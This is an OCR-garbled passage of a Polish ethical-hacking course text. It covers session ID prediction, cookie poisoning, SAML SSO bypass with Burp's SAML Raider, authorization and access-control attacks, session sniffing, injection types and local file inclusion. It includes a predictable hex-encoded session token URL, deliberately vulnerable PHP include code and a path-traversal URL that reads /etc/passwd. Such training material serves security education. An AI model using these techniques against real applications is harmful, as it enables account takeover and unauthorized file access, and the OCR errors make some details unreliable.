Za kazdym razem, gdy uzytkownik loguje sie do okreslonej witryny, serwer przypisuje uzytkownikowi
identyfikator sesji, aby $ledzi¢ wszystkie dziatania na stronie. Ten identyfikator sesji jest wazny do
momentu wylogowania uzytkownika; serwer udostepnia nowy identyfikator sesji, gdy uzytkownik
loguje sie ponownie. Atakujgcy prébujg wykorzystaé ten mechanizm identyfikatora sesji, zgadujac
nastepny identyfikator sesji po zebraniu kilku prawidtowych identyfikatoréw.

W przypadku niektdrych aplikacji internetowych informacje o identyfikatorze sesji obejmujg cigg
znakow o statej szerokosci. Losowos¢ jest niezbedna, aby unikngé przewidywania. Ataki sesyjne
przeprowadzane sg w nastepujacych krokach:

W pierwszym kroku zbierz kilka prawidtowych wartosci identyfikatora sesji przez wachanie ruchu
pochodzgcego od uwierzytelnionych uzytkownikéw. Przeanalizuj przechwycone identyfikatory sesji,
aby okreslié¢ proces generowania identyfikatora sesji, na przyktad strukture identyfikatora ses;ji,
informacje uzywane do jego utworzenia oraz algorytm szyfrowania lub wyznaczania wartosci skrétu
uzywany przez aplikacje do jego ochrony. Mechanizmy generowania wrazliwych sesji, ktére
wykorzystujg identyfikatory sesji sktadajgce sie z nazwy uzytkownika lub innych przewidywalnych
informacji, takich jak znacznik czasu lub adres IP klienta, mogg

zostaé wykorzystane przez tatwe zgadywanie prawidtowych identyfikatorédw sesji. Ponadto mozesz
zaimplementowac technike brutalnej sity, aby wygenerowaé i przetestowaé rdézine wartosci
identyfikatora sesji, dopdki nie uzyskasz pomysinego dostepu do aplikacji. Z ponizszego diagramu
widaé, ze zmienna identyfikatora sesji jest wskazywana przez JSESSIONID, a jej przyjetg wartoscig jest
,userOl”, co odpowiada nazwie uzytkownika. Zgadujgc, ze jest nowa warto$é, powiedzmy, jako
,uzytkownik 02”, osoba atakujgca moze uzyskac nieautoryzowany dostep do aplikacji.

Eksploatacja plikéw cookie: zatrucie plikami cookie

Pliki cookie czesto przesytajg poufne dane uwierzytelniajgce z przegladarki klienta na serwer. Atakujacy
moga je z tatwosciag modyfikowaé, aby uzyskaé dostep do serwera lub przyjgé tozsamosé innego
uzytkownika. Przegladarki klienckie uzywajg plikdw cookie do utrzymywania stanu sesji, gdy do
komunikacji wykorzystujg bezstanowe identyfikatory protokotu FITTP. Serwery wigzg unikalne sesje z
indywidualnym dostepem do aplikacji internetowej. Zatruwanie plikéw cookie i informacji o sesji moze
umozliwié atakujgcemu wstrzykniecie ztosliwej zawartosci lub zmodyfikowanie sposobu korzystania z
Internetu przez uzytkownika i uzyskanie nieautoryzowanych informacji. Pliki cookie mogg zawierac
dane specyficzne dla sesji, takie jak identyfikatory uzytkownikéw, hasta, numery kont, tgcza do
zawartosci koszyka, dostarczone informacje prywatne i identyfikatory sesji. Istniejg jako pliki
przechowywane w pamieci komputera klienckiego lub na jego dysku twardym. Modyfikujgc dane
plikdw cookie, osoba atakujgca moze czesto uzyskaé eskalowany dostep lub ztosliwie wptynac na sesje
uzytkownika. Wiele witryn oferuje opcje ,Pamietasz mnie?” dziatajg i przechowujg informacje o
uzytkowniku w pliku cookie, dzieki czemu uzytkownik nie musi ponownie wprowadza¢ danych przy
kazdej wizycie na stronie. Wszelkie wprowadzone informacje prywatne sg przechowywane w pliku
cookie. Aby chroni¢ pliki cookie, twércy witryn czesto je kodujg. Zaszyfrowane pliki cookie dajg
programistom fatszywe poczucie bezpieczenstwa plikdéw cookie, poniewaz proces kodowania mozna
tatwo odwrdci¢ za pomocg metod dekodowania, takich jak Base64 i ROT13 (obracanie liter alfabetu o
13 znakodw). Cookie poisoning odbywa sie w nastepujacych krokach:



Jesli plik cookie zawiera hasta lub identyfikatory sesji, ukradnij plik cookie za pomocg technik takich jak
wstrzykiwanie skryptu i podstuchiwanie

Nastepnie odtwarzaj plik cookie z tymi samymi lub zmienionymi hastami lub identyfikatorami sesji, aby
oming¢ uwierzytelnianie aplikacji internetowej

Przechwytuj pliki cookie za pomocg narzedzi takich jak OWASP Zed Attack Proxy i Burp Suite.
Narzedzia do wykorzystywania plikéw cookie:
OWASP Zed Attack Proxy Project (ZAP)

OWASP Zed Attack Proxy Project (ZAP) to zintegrowane narzedzie do testowania penetracji aplikacji
internetowych. Zapewnia automatyczne skanery, a takze zestaw narzedzi, ktére pozwalajg recznie
znalez¢ luki w zabezpieczeniach.

Oto niektére dodatkowe narzedzia do wykorzystywania plikéw cookie:
LOphtCrack ( https://IOphtcrock.gitlob.io )

Burp Suite ( https://www.portswigger.net )

XSSer ( https://xsser.03c8.net )

Pomin uwierzytelnianie: Pomin logowanie jednokrotne oparte na SAML

Proces uwierzytelniania pojedynczego logowania (SSO) umozliwia uzytkownikowi zalogowanie sie do
aplikacji przy uzyciu jednego zestawu poswiadczen, a ta sama sesja logowania moze by¢ uzywana do
uzyskiwania dostepu do wielu aplikacji niezaleznie od domeny lub platformy. Na przykfad, gdy
uzytkownik loguje sie przy uzyciu swojego konta Google na komputerze stacjonarnym lub urzadzeniu
mobilnym, jest automatycznie uwierzytelniany w innych ustugach, takich jak Dysk Google, YouTube i
Gmail. Ten mechanizm uwierzytelniania w réznych aplikacjach jest realizowany przy uzyciu protokotu
SAML. Security Assertion Markup Language (SAML) to infrastruktura oparta na jezyku XML, ktéra stuzy
jako medium autoryzacji i uwierzytelniania miedzy dwoma réwnorzednymi podmiotami, takimi jak
dostawca tozsamosci (idP) i dostawca ustug (SP). Ustugodawca powierza dostawcy tozsamosci
walidacje uzytkownikéw. Nastepnie dostawca tozsamosci odpowiada asercjg SAML (komunikatem
potwierdzajgcym) po sprawdzeniu poprawnosci dowolnego uzytkownika. Tradycyjne aplikacje mogg
przeprowadzi¢ proces uwierzytelniania przed udzieleniem uzytkownikowi dostepu do chronionych
funkcji. Wraz z ewolucjg infrastruktury SSO, to uwierzytelnianie procesu zostatu przekazane aplikacjom
dostawcow tozsamosci stron trzecich w celu uzyskania dostepu do funkc;ji z aplikacji dostawcy ustug.
Komunikacja miedzy tymi aplikacjami moze odbywac¢ sie za posrednictwem komunikatow SAML. Te
wiadomosci SAML sg szyfrowane przy uzyciu kodowania Base64. Atakujgcy moga tatwo odszyfrowac
te wiadomosci i odczytaé ich tres¢. Dwa gtéwne pola w komunikatach SAML, podpis i potwierdzenie,
sg podatne na manipulacje w trakcie. Podpis stuzy do budowania zaufania relacji miedzy dostawca
ustug a dostawcg tozsamosci, a asercja stuzy do kierowania dostawcg ustug w zakresie $wiadczenia
ustug aplikacyjnych dla waznych uzytkownikéw. Atakujacy moga wykorzysta¢ btedne konfiguracje
sygnatur, limity czasu wygasniecia sesji, powtorki sesji, zle skierowane komunikaty SAML itp., aby
oming¢ uwierzytelnianie SSO oparte na SAML i wstawi¢ witasne komunikaty. Atakujacy uzywajg
narzedzi takich jak SAML Raider, aby oming¢ SSO oparte na uwierzytelnianie SAM. SAML Raider to
rozszerzenie Burp Suite uzywane do testowania infrastruktury SAML. Moze stuzyé do wykonywania
dwodch podstawowych operacji: modyfikowania komunikatéw SAML oraz zarzadzania certyfikatami
X.509.



Uzywajac SAML Raidera

e Skonfiguruj przegladarke, aby kontynuowac¢ Burp Suite. Otwdrz Burp Suite z nowym projektem i
przejdz do zaktadki ,,Proxy”, aby upewnié sie, ze serwer proxy jest aktywowany.

e W Burp Suite najpierw przejdz do zaktadki ,Przedtuzacz”, a nastepnie przejdz do ,Sklepu BApp”.
Nastepnie kliknij i zainstaluj rozszerzenie ,,SAML Raider”.

¢ Uzyskaj dostep do pakietu Burp Suite i upewnij sie, ze na karcie ,,Proxy” wyswietlana jest informacja
yIntercept jest wtaczony”. Umozliwia Burpowi znajdowanie i modyfikowanie zgdan kierowanych do
serwerdw. Kiedy przeglgdarka uzytkownika jest kierowana na strone docelowej (admin@xyz.org)
zabezpieczonej rejestracji, Burp Suite wskazuje, ze uzytkownik jest przekazywany do systemu IdP.

e SAML Raider wyswietla karte o tej samej nazwie, gdy istniejg dane SAML, ktére majg zostac
odszyfrowane. Uzytkownicy mogg potrzebowad jeszcze kilku zgdan, zanim zauwazig karte ,SAML
Raider” z zadaniem. Klikniecie przycisku ,Przedlij dalej” moze przenies¢ uzytkownika na strone
logowania dostawcy tozsamosci.

e Wkrotce po tym, jak uzytkownik wprowadzi poswiadczenia admin@xyx.org.fakedomain.com, Burp
ponownie blokuje niektére zgdania internetowe. Dopdki nie pojawi sie zaktadka ,,SAML Raider”, klikaj
dalej zaktadke ,Przekaz”, aby przekaza¢ je bez modyfikacji. W rezultacie odpowiedzi SAML z systemu
IdP réwniez mogg by¢ utrudnione.

¢ Przegladanie odpowiedzi moze umozliwié uzytkownikowi znalezienie ,,NamelD”. Znajduje sie pod
zaktadkami klucza i podpisu.

W takim przypadku, gdy podpis jest zgodny z prawidtowg odpowiedzig, dostawca ustug zatwierdza i
przetwarza pierwszy parametr tekstowy w NameD: admin@xyz.org. Atakujacy wykorzystujg te
technike, aby omingé proces logowania jednokrotnego oparty na SAML i manipulowa¢ odpowiedziami.

Schematy atakow autoryzacji

Aplikacja internetowa zawiera mechanizm autoryzacji, ktéry ogranicza dostep do okreslonego zasobu
lub funkcjonalnosci (np. strony administratora) przez uwierzytelnionych uzytkownikow. Aplikacja
internetowa zawsze przeprowadza autoryzacje uzytkownika po uwierzytelnieniu. Osoba atakujgca
implementuje wadliwy mechanizm autoryzacji w aplikacji internetowej i wykorzystuje go do
uzyskiwania dostepu do zastrzezonych stron poprzez eskalacje uprawnien. Atakujgcy prébuje uzyskac
dostep do informacji bez odpowiednich poswiadczen. W zwigzku z tym atakujacy stosuje rézne techniki
w celu zaatakowania schematdw autoryzacji aplikacji internetowe;.

Atak autoryzacyjny

W ataku autoryzacyjnym atakujacy najpierw znajduje legalne konto z ograniczonymi uprawnieniami,
nastepnie loguje sie jako ten uzytkownik i stopniowo zwieksza uprawnienia dostepu do chronionych
zasobdéw. Nastepnie manipuluje zgdaniami HTTP w celu obalenia schematéw autoryzacji aplikacji,
modyfikujgc pola wejsciowe zwigzane z identyfikatorem uzytkownika, nazwg uzytkownika, grupa
dostepu, kosztem, nazwami plikow, identyfikatorami plikow itp. Atakujacy wykorzystujg Zrédta, takie
jak jednolite identyfikatory zasobéw, manipulowanie parametrami, dane POST, nagtéwki HTTP, ciagi
zapytan, pliki cookie i ukryte znaczniki w celu przeprowadzania atakéw autoryzacyjnych.

Uniform Resource ldentifier: Uniform Resource Identifier (URi) umozliwia identyfikacje zasobu. Jest to
globalny identyfikator zasobéw internetowych, do ktérych dostep jest zdalny lub lokalny. Osoba
atakujgca moze uzy¢ identyfikatoréw URI w celu uzyskania dostepu do dokumentdw/katalogow



chronionych przed publikowaniem, wstrzykniecia zapytan SQL lub innych nieuzywanych polecen do
aplikacji i/lub zmuszenia uzytkownika do wyswietlenia okreslonej witryny potgczonej z innym
serwerem.

Manipulowanie parametrami: Manipulowanie parametrami polega na manipulowaniu parametrami
wymienianymi miedzy serwerem a klientem w celu modyfikacji danych aplikacji, takich jak cena i ilos¢
produktéw, uprawnienia i poswiadczenia uzytkownika. Informacje te sg zwykle przechowywane w
plikach cookie, ciggach zapytan adreséw URL lub ukrytych polach formularzy, a osoby atakujace moga
je wykorzystac do zwiekszenia kontroli i funkcjonalnosci aplikacji.

Dane POST: Dane POST czesto zawierajg informacje o autoryzacji i sesji, poniewaz informacje
dostarczone przez klienta muszg by¢ powigzane z sesjg, ktéra je dostarczyta. Atakujgcy moze
wykorzystac luki w danych postu i fatwo nimi manipulowad.

Nagtowki HTTP: Przegladarki internetowe nie pozwalajg na modyfikacje nagtéwkow. Dlatego, aby
zmodyfikowac nagtéwek, atakujgcy musi napisa¢ wiasny program i wykonac zadanie http. Moze
rowniez skorzysta¢ z dostepnych narzedzi do modyfikacji danych przesytanych z przegladarki.
generalnie nagtéwek HTTP autoryzacji zawiera nazwe uzytkownika i hasto zakodowane w Base-64.
Osoba atakujgca moze naruszy¢ nagtéwek, przesytajgc dwa zadania HTTP zwigzane z tym samym
nagtéwkiem. System proxy wykonuje pierwszy nagtdwek HTTP, a system docelowy wykonuje drugi
nagtéwek HTTP, umozliwiajgc atakujagcemu ominiecie kontroli dostepu proxy.

Cigg zapytania i pliki cookie: Przegladarki uzywajg plikbw cookie do utrzymania ich stanu w
bezstanowym protokole HTTP, a takze do przechowywania preferencji uzytkownika, tokendw sesji i
innych danych. Klienci mogg modyfikowa¢ pliki cookie i wysytac je do serwera z zadaniami adresu URL,
umozliwiajgc w ten sposéb atakujgcemu modyfikacje zawartosci plikéw cookie. Modyfikacja plikow
cookie zalezy od wykorzystania plikdw cookie, od tokendéw sesyjnych po autoryzowane tablice
decyzyjne.

Ukryte znaczniki: gdy uzytkownik wybiera cokolwiek na stronie HTML, wybor jest zapisywany jako
warto$¢ pola formularza i wysytany do aplikacji jako zgdanie HTTP (GET lub POST). HTML moze
przechowywac wartosci pdl jako pola ukryte, ktérych przegladarka nie wyswietla na ekranie; zamiast
tego zbierai przesyta te pola jako parametry podczas przesytania formularzy, ktérymi uzytkownik moze
manipulowaé. Musi jednak dokonaé wyboru. Kod wysytany do przegladarek nie ma zadnej wartosci
bezpieczenstwa; w zwigzku z tym, manipulujgc ukrytymi wartosciami, osoba atakujgca moze tatwo
uzyskac dostep do strony i uruchomic jg w przegladarce.

Atak autoryzacyjny: manipulowanie zadaniem HTTP

Nagtéwki HTTP sterujg informacjami przekazywanymi z klientéw WWW do serwerow WWW w
odpowiedziach HTTP oraz z serweréw WWW do klientéw WWW w odpowiedziach HTTP. Kazdy
nagtowek sktada sie z pojedynczej linii tekstu z nazwg i wartoscia. Istniejg dwa gtéwne sposoby
przesytania danych za pomocg protokotu HTTP: za posrednictwem adresu URL lub formularza.
Manipulowanie danymi HTTP odnosi sie do modyfikowania danych zgdania HTTP (lub odpowiedzi)
zanim odbiorca je przeczyta. Atakujacy zmienia zadanie HTTP bez uzycia identyfikatora innego
uzytkownika.

Manipulowanie taricuchem zapytan

Jesli cigg zapytania jest widoczny na pasku adresu w przeglgdarce, sprébuj zmieni¢ parametr ciggu, aby
omingé mechanizmy autoryzacji. Mozesz uzy¢ narzedzi web spidering, takich jak Burp Suite, aby
przeskanowac aplikacje internetowa pod katem parametrow POST.



Nagtowki HTTP

Jesli aplikacja uzywa nagtéwka Referer do podejmowania decyzji kontroli dostepu, sprébuj go
zmodyfikowac, aby uzyskaé dostep do chronionych funkcjonalnosci aplikacji. W ponizszym przyktadzie
ItemID = 201 jest niedostepny, poniewaz parametr Admin ma warto$¢ false; mozesz zmienic go na true
i uzyskac dostep do chronionych elementéw.

Atak autoryzacyjny: manipulowanie parametrami plikéw cookie

Manipulowanie parametrami plikdw cookie to metoda uzywana do manipulowania plikami cookie
ustawionymi przez aplikacje internetowa w celu przeprowadzania ztosliwych atakéw. Gdy uzytkownik
loguje sie do serwisu, aplikacja internetowa ustawia sesyjny plik cookie i zapisuje go w przegladarce.
Manipulowanie parametrami plikdw cookie odbywa sie w nastepujacych krokach:

1. W pierwszym kroku zbierz sesyjne pliki cookie ustawione przez aplikacje internetowg i przeanalizuj
je, aby okresli¢ mechanizm generowania plikdw cookie

2. W drugim kroku przechwytuj sesyjne pliki cookie ustawione przez aplikacje internetowa, manipuluj
ich parametrami za pomocga narzedzi takich jak Burp Suite i odtwarzaj je w aplikacji, aby uzyskac
nieautoryzowany dostep do profili innych oséb

3. Narzedzie przechwytuje kazde zgdanie wysytane z przegladarki i umozliwia edycje pliku cookie w
celu zastgpienia go zmodyfikowanymi parametrami pliku cookie. Jesli plik cookie nie jest bezpieczny,
mozesz by¢ w stanie odgadng¢ parametry

Burp Suite

Burp Suite to zintegrowana platforma do przeprowadzania testéw bezpieczenstwa aplikacji
internetowych. Posiada rdézine narzedzia, ktére wspodtpracujg ze sobg, wspierajac caty proces
testowania, od wstepnego mapowania i analizy powierzchni ataku aplikacji po znajdowanie i
wykorzystywanie luk w zabezpieczeniach.

Kontrola dostepu do atakéw

Kontrola dostepu jest czescig mechanizméw bezpieczenstwa aplikacji, ktére sg logicznie oparte na
uwierzytelnianiu i zarzadzaniu sesjg. Osoba atakujgca przechodzi przez witryne internetowa, aby
zidentyfikowaé nastepujace szczegdty kontroli dostepu do aplikacji:

Indywidualny dostep do okreslonego podzbioru danych

Poziomy dostepu do dotacji (pracownicy, menedzerowie, przetozeni, dyrektorzy generalni itp.)
Funkcjonalnos$¢ administratora do konfigurowania i monitorowania

Funkcjonalnosci umozliwiajgce eskalacje uprawnien

Wykorzystywanie niezabezpieczonych kontroli dostepu

Kontrola dostepu oparta na parametrach: Kazda aplikacja internetowa sktada sie z rdinych
parametréw zadan, takich jak pliki cookie i parametry ciggu zapytan. Aplikacja okresla dostep
przyznany zadaniu na podstawie tych parametréw. Parametry te rdznig sie w przypadku zwyktego
uzytkownika i administratora. Czasami te parametry sg niewidoczne dla zwyktych uzytkownikéw i
widoczne tylko dla administratoréw. Jesli osoba atakujgca moze zidentyfikowaé parametry przypisane
administratorowi, moze ustawi¢ te parametry we witasnych zgdaniach i uzyska¢ dostep do funkcji
administracyjnych.



Kontrola dostepu oparta na refererach: W niektérych aplikacjach internetowych referer HTTP jest
podstawg do podejmowania waznych decyzji dotyczacych kontroli dostepu. Strona odsytajgca HTTP
jest uwazana za niebezpieczng; atakujgcy moze go uzy¢ i manipulowac nim do dowolnej wartosci.

Kontrola dostepu oparta na lokalizacji: Potozenie geograficzne uzytkownika mozna okresli¢ za pomoca
réznych metod. Najczestszg metody okreslania biezgcej lokalizacji jest adres IP. Atakujgcy moga
omingc¢ kontrole dostepu opartg na lokalizacji, korzystajgc z internetowego serwera proxy, sieci VPN,
urzadzenia mobilnego obstugujgcego roaming danych oraz bezposredniej manipulacji mechanizmami
po stronie klienta.

Metody ataku na kontrole dostepu

Atak przy uzyciu réznych kont uzytkownikdéw: Préba uzyskania dostepu do aplikacji przy uzyciu réznych
kont uzytkownikéw. Jesli w aplikacji internetowej wystepuje jakakolwiek zepsuta kontrola dostepu,
umozliwia ona dostep do zasobdw i funkcji jako uprawniony uzytkownik. Mozesz uzy¢ narzedzi, takich
jak Burp Suite, aby uzyskac dostep i poréwnac dwa rézne konteksty uzytkownika.

Atak na procesy wieloetapowe: Wyzej wymieniona technika bedzie nieskuteczna, jesli w architekturze
aplikacji internetowej zostanie ustanowiony proces wieloetapowy. W tym wieloetapowym procesie
uzytkownik wykona wiele wpisdow na wielu poziomach, aby ukonczy¢ zamierzony proces. W procesie
wieloetapowym klient bedzie wysytat do serwera wiele zgdan. Aby zaatakowac taki proces, kazde
zadanie skierowane do serwera powinno zosta¢ przechwycone i przetestowane pod katem kontroli
dostepu. Innym sposobem recznego zaatakowania procesu wieloetapowego jest kilkakrotne przejscie
przez chroniony proces wieloetapowy w przeglgdarce i uzycie narzedzi proxy do przetgczenia tokena
sesji dostarczanego w réznych zgdaniach na token mniej uprzywilejowanego uzytkownika.

Atak na zasoby statyczne: Zidentyfikuj aplikacje internetowe, w ktérych adresy URL uzyskujg dostep
do chronionych zasobdw statycznych. Spréobuj bezpos$rednio zazgdad tych adreséw URL i sprawdz, czy
zapewniajg one dostep nieautoryzowanym uzytkownikom.

Bezposredni dostep do metod ataku: aplikacje internetowe akceptujg okreslone zgdania, ktore
zapewniajg bezposredni dostep do interfejsow APl po stronie serwera. Jesli w tych metodach
bezposredniego dostepu wystepuja jakiekolwiek luki w kontroli dostepu, osoba atakujgca moze je
wykorzysta¢ i skompromitowad system.

Ograniczenia atakdw na metody HTTP: Wazne jest przetestowanie réznych metod HTTP, takich jak
GET, POST, PUT, DELETE, TRACE i OPTIONS. Atakujacy modyfikuje metody http w celu
skompromitowania aplikacji internetowych. Jesli aplikacja internetowa zaakceptuje te zmodyfikowane
zgdania, mozna oming¢ kontrole dostepu.

Mechanizm zarzadzania sesjq ataku

Zarzadzanie sesjg aplikacji internetowej obejmuje wymiane poufnych informacji miedzy serwerem a
jego klientami tam, gdzie jest to wymagane. Jesli takie zarzadzanie sesjg nie jest bezpieczne, atakujacy
moze to wykorzystaé do zaatakowania aplikacji internetowej za posrednictwem mechanizmu
zarzadzania sesjg, ktéry jest kluczowym elementem bezpieczenstwa w wiekszosci aplikacji
internetowych. Obecnie wiekszos¢ atakujacych celuje w zarzadzanie sesjg aplikacji w celu
przeprowadzania ztosliwych atakéw na aplikacje internetowe, co pozwala im tatwo oming¢ solidne
mechanizmy uwierzytelniania i podszywac sie pod innych uzytkownikéw, nawet nie znajac ich danych
uwierzytelniajgcych (nazwy uzytkownika, hasta). Atakujacy mogg nawet przejgé kontrole nad catg
aplikacja, wtamujac sie na konto administratora systemu.



Atak zarzadzania sesja

Atak polegajacy na zarzadzaniu sesjg to metoda stosowana przez osoby atakujgce w celu
skompromitowania aplikacji internetowej. Atakujgcy tamig mechanizm zarzadzania sesjg aplikacji, aby
oming¢ kontrole uwierzytelniania i podszywac sie pod uprzywilejowanych uzytkownikéw aplikacji.
Obejmuje dwa etapy: generowanie tokena sesyjnego i eksploatacje obstugi tokena sesyjnego. Aby
wygenerowacd prawidtowy token sesji, osoby atakujgce wykonujg nastepujace czynnosci:

* Przewidywanie tokendw sesji: atakujgcy mogg to zrobié¢, gdy zdadzg sobie sprawe, ze serwer uzywa
deterministycznego wzorca miedzy identyfikatorami sesji. Dzieki pomysinemu uzyskaniu
identyfikatorow poprzedniej i nastepnej sesji uzytkownika, atakujacy moze przeprowadzi¢ ztosliwe
ataki podszywajac sie pod uzytkownika.

¢ Manipulowanie tokenem sesji: gdy atakujgcy uzyskajg identyfikator poprzedniej i nastepnej sesji,
mogg manipulowaé danymi sesji i angazowacd sie w dalsze ztosliwe dziatania. Gdy osoby atakujgce
wygenerujg prawidtowy token sesji, prébujg wykorzystaé obstuge tokena sesji w nastepujacy sposdb:

e Atak Man-in-the-Middle (MITM): Atakujacy przechwytujg komunikacje miedzy dwoma systemami w
sieci. Dzielg pofaczenie sieciowe na dwa: jedno miedzy klientem a atakujgcym oraz drugie miedzy
atakujgcym a serwerem, ktéry nastepnie dziata jako proxy w przechwyconym potaczeniu.

* Przejecie sesji: osoby atakujgce kradng identyfikator sesji uzytkownika z zaufanej witryny
internetowej w celu wykonania ztosliwych dziatan.

e Powtdrka sesji: osoby atakujgce uzyskujg identyfikator sesji uzytkownika, a nastepnie wykorzystujg
go ponownie, aby uzyskac dostep do konta uzytkownika.

Atakowanie mechanizmu generowania tokenéw sesji

Aby okresli¢ mechanizm generowania tokendw sesji w ataku zarzadzania sesjg, osoby atakujgce kradng
prawidtowe tokeny sesji, a nastepnie przewidujg nastepny token sesji. Poprzez przewidywanie sesji
osoby atakujgce identyfikujg wzorzec w tokenie sesji wymienianym miedzy klientem a serwerem.
Moze sie tak zdarzy¢, gdy aplikacja internetowa ma stabe, przewidywalne identyfikatory sesji. Na
przyktad, gdy aplikacja internetowa sekwencyjnie przypisuje token sesji, osoby atakujgce mogg
przewidzie¢ tokeny poprzedniej i nastepnej sesji, znajac dowolny identyfikator sesji. Przed
przewidywaniem identyfikatora sesji osoby atakujgce muszg uzyskaé wystarczajgcg liczbe
prawidtowych tokendw sesji dla legalnych uzytkownikéw systemu.

Przyktad stabego kodowania

Podczas kodowania szesnastkowego taricucha ASCIl user=jason;app=admin; date=08/01/2020, mozesz
przewidzie¢ kolejny token sesji zmieniajgc tylko date i uzy¢ go do kolejnej transakcji z serwerem.

https://www.certifiedhacker.com/checkout?
SessionToken=%75%73%65%72%3D%6A%61%73%6F%6E%3B%61%70%70%3D%61%64%6D%69%
6E%3B%64%61%74%65%3D%30%38%2F%30%31%2F%32%30%32%30

Przewidywanie tokendw sesji

o Uzyskaj prawidtowe tokeny sesji, podstuchujgc ruch lub legalnie logujac sie do aplikacji i analizujgc
go pod katem kodowania (kodowanie szesnastkowe, Base64) lub dowolnego wzorca o Jedli
jakiekolwiek znaczenie mozna odtworzy¢ na podstawie prébki tokendw sesji, sprobuj odgadngé tokeny
niedawno wystawione innym uzytkownikom aplikacji



o Wykonaj duzg liczbe zgdan z przewidywanymi tokenami do strony zaleznej od sesji, aby okresli¢
prawidfowy token sesji

Atakowanie mechanizmu obstugi tokendw sesji: snifffowanir tokenow sesji

Najpierw wyszukuj ruch sieciowy w poszukiwaniu prawidtowych tokendw sesji, a nastepnie uzyj ich do
przewidywania nastepnego tokena sesji. Uzyj przewidywanego identyfikatora sesji, aby uwierzytelnié
sie w docelowej aplikacji internetowe].

Czynnos$ci zwigzane ze sniffowaniem tokendw sesji sg nastepujgce:

Sniffuj ruch aplikacji za pomocg narzedzia, takiego jak Wireshark lub przechwytujgcego serwera proxy,
takiego jak Burp Suite

Jesli jako mechanizm transmisji tokendw sesji uzywane sg pliki cookie HTTP, a flaga bezpieczenstwa
nie jest ustawiona, sprébuj odtworzy¢ plik cookie, aby uzyska¢ nieautoryzowany dostep do aplikacji

Uzywaj sesyjnych plikdéw cookie do przejmowania sesji, odtwarzania sesji i atakéw MITM W zwigzku z
tym wachanie prawidtowego tokena sesji jest wazne w atakach zwigzanych z zarzadzaniem sesja.

Wireshark

Wireshark to analizator protokotdéw sieciowych, ktéry umozliwia atakujgcym przechwytywanie i
interaktywne przegladanie ruchu sieciowego. Wireshark przechwytuje na zywo ruch sieciowy z sieci
Ethernet, IEEE 802.11, PPP/HDLC, ATM, Bluetooth, USB, Token Ring, Frame Relay i FDDI, pomagajgc w
ten sposdb atakujgcym przechwyci¢ identyfikatory sesji podczas przesytania do i z docelowej aplikacji
internetowej.

Wykonuj ataki polegajace na wstrzykiwaniu/walidacji danych wejsciowych

Ataki iniekcyjne sg bardzo powszechne w aplikacjach internetowych. Wykorzystujg podatny na ataki
mechanizm sprawdzania poprawnosci danych wejsciowych zaimplementowany przez aplikacje
internetowa. Istnieje wiele rodzajow atakow polegajgcych na wstrzykiwaniu, takich jak wstrzykiwanie
skryptéw internetowych, wstrzykiwanie polecen systemu operacyjnego, wstrzykiwanie SMTP,
wstrzykiwanie LDAP i wstrzykiwanie XPath. Innym czesto wystepujgcym atakiem jest atak typu SQL
injection. Wstrzykiwanie czesto ma miejsce, gdy przegladarka wysyta dane dostarczone przez
uzytkownika do interpretera jako czes¢ polecenia lub zapytania. W celu przeprowadzenia ataku
polegajgcego na wstrzyknieciu osoby atakujace dostarczajg spreparowane dane, ktére naktaniajg
ttumacza do wykonania niezamierzonych polecen lub zapytan. Dzieki tym wadom atakujgcy moga
tatwo odczytywaé, tworzyé, aktualizowac i usuwac dowolne dane dostepne dla aplikacji. W niektérych
przypadkach osoby atakujgce mogg nawet oming¢ gteboko zagniezdzone sSrodowisko zapory sieciowej
i przejaé petng kontrole nad aplikacjg i jej systemem bazowym.

Ataki iniekcyjne/Ataki z walidacjg danych wejsciowych

Aby przeprowadzi¢ ataki wstrzykiwania, nalezy dostarczy¢ spreparowane ztosliwe dane wejsciowe,
ktére sg poprawne sktadniowo zgodnie z interpretowanym jezykiem uzywanym do przerwania
normalnego zamierzonego dziatania aplikacji. Ponizej opisano niektére sposoby przeprowadzania
atakow iniekcyjnych:

Wstrzykiwanie skryptéw internetowych: jesli dane wejsciowe uzytkownika sg uzywane do
dynamicznego wykonywania kodu, wprowadZ spreparowane dane wejsciowe, ktére przerywajg
zamierzony kontekst danych i wykonujg polecenia na serwerze.



Wstrzykiwanie polecen systemu operacyjnego: Wykorzystywanie systeméw operacyjnych poprzez
wprowadzanie ztosliwego kodu w polach wejsciowych, jesli aplikacje wykorzystujg dane wprowadzone
przez uzytkownika w poleceniu na poziomie systemu.

Wstrzykiwanie SMTP: wstrzykiwanie dowolnych polecern SMTP do aplikacji i konwersacji na serwerze
SMTP w celu generowania duzych ilosci spamu.

SQL Injection: Wprowadz serie ztosliwych zapytan SQL do pdl wejsciowych, aby bezposrednio
manipulowac¢ bazg danych.

Wstrzykiwanie LDAP: Wykorzystaj niezatwierdzone luki w zabezpieczeniach danych wejsciowych
aplikacji internetowych, aby przejs¢ przez filtry LDAP i uzyska¢ bezposredni dostep do baz danych.

Wstrzykiwanie XPath: Wprowadz ztosliwe ciggi znakdw w polach wejsciowych, aby manipulowad
zapytaniem XPath, tak aby zaktdcato ono logike aplikacji.

Przepetnienie bufora: wstrzykniecie duzej ilosci fatszywych danych poza pojemnos¢ pola wejsciowego.

Wstrzykiwanie plikdow: wstrzykiwanie ztosliwych plikdw poprzez wykorzystywanie mechanizmoéw
,dynamicznego dotaczania plikéw” w aplikacjach internetowych.

Kanonizacja: manipuluj zmiennymi, ktére odwotuja sie do plikéw za pomocg , kropka-kropka-ukosnik
(../)”, aby uzyska¢ dostep do zastrzezonych katalogéw w aplikacji.

Uwaga: Petne omdwienie koncepcji i technik wstrzykiwania SQL zawiera Modut 15: Wstrzykiwanie SQL.
Wykonaj wiaczenie pliku lokalnego (LFI)

Luka umozliwiajgca wtgczenie plikow lokalnych (LFI) umozliwia atakujgcym dodawanie wtasnych
plikdw na serwerze za posrednictwem przegladarki internetowej. Taka luka pojawia sie, gdy aplikacja
dodaje pliki bez odpowiedniej weryfikacji danych wejsciowych, umozliwiajgc w ten sposéb
atakujacemu modyfikacje danych wejsciowych i osadzanie znakdéw przejscia Sciezki.

Luka LFI jest czesto wyzwalana w witrynach opartych na PHP. Ponizej podano prosty kod PHP podatny
na LFl. Atakujgcy mogg wstawi¢ parametr adresu URL do metody require() bez odpowiedniej
weryfikacji.

Sfile = S GET['page'];
require($file);

W takim przypadku osoba atakujgca moze po prostu wstawic ten cigg i pobraé plik /etc/passwd przy
uzyciu nastepujacego adresu URL:

http://xyz.com/page=../../../../../../Jetc/passwd

¢ Unikaj dodano .php i inne rozszerzenia pliku

Ogodlnie rzecz biorac, rozszerzenia plikow sg dodawane przy uzyciu kodu PHP w nastepujacy sposdb:
Sfile =S_GET['page'];

